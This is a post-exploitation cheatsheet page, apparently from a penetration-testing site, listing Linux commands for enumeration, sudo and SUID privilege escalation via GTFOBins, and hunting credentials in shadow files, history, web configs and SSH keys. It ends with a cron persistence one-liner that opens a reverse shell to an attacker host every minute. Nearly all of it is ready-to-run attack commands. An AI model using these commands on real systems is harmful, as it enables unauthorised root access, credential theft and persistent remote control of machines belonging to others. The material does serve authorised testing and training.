Command Palette

Search for a command to run...

Cheatsheets
PreviousNext

Linux Post-Exploitation

Basic Enumeration

CommandDescription
whoamiCurrent user.
idUser ID, group ID, and supplementary groups.
hostnameSystem hostname.
uname -aKernel version and architecture.
cat /etc/os-releaseOS distribution and version.
cat /etc/passwdList all system users.
cat /etc/shadowPassword hashes (requires root).
ls /homeList home directories.
ss -tulnpListening ports and services.
netstat -antpActive connections and listening ports.
ifconfig / ip aNetwork interfaces and IPs.
arp -aARP table - discover other hosts on the network.
route -n / ip routeRouting table.
envEnvironment variables (may contain credentials).
historyCommand history (may reveal credentials).
cat ~/.bash_historyBash history file.

Privilege Escalation - sudo

CommandDescription
sudo -lList commands the current user can run as root.
sudo -u root <command>Run a specific command as root.

GTFOBins - Common sudo Escalations

BinaryCommand to get root shell
findsudo find . -exec /bin/bash \; -quit
vimsudo vim -c ':!/bin/bash'
pythonsudo python -c 'import os; os.execl("/bin/bash", "bash", "-p")'
python3sudo python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
lesssudo less /etc/passwd then !/bin/bash
moresudo more /etc/passwd then !/bin/bash
awksudo awk 'BEGIN {system("/bin/bash")}'
nmapsudo nmap --interactive then !sh
perlsudo perl -e 'exec "/bin/bash";'
rubysudo ruby -e 'exec "/bin/bash"'

Privilege Escalation - SUID Binaries

CommandDescription
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/nullFind all SUID binaries.
find / -perm -u=s -type f 2>/dev/nullAlternative SUID search.

Check found binaries on GTFOBins for SUID exploitation techniques.

Privilege Escalation - Writable Files & Cron

CommandDescription
cat /etc/crontabSystem-wide cron jobs.
ls -la /etc/cron.*Cron directories (daily, hourly, weekly).
find / -path /proc -prune -o -type f -perm -o+w -print 2>/dev/nullWorld-writable files.
./pspy64Monitor running processes without root (detect cron jobs).

Credential Hunting

CommandDescription
find / -name "*.conf" -o -name "*.config" -o -name "settings.php" 2>/dev/nullFind configuration files.
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/nullBroader config file search.
grep -r "password" /var/www/ 2>/dev/nullSearch for passwords in web files.
cat /var/www/html/*/sites/default/settings.phpDrupal database credentials.
cat /var/www/html/wordpress/wp-config.phpWordPress database credentials.
find / -name "id_rsa" 2>/dev/nullFind SSH private keys.
find / -name "*.bak" -o -name "*.old" 2>/dev/nullBackup files that may contain credentials.

Persistence - Linux Cron

# Add a cron job that runs a reverse shell every minute
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<kali_IP>/<port> 0>&1'") | crontab -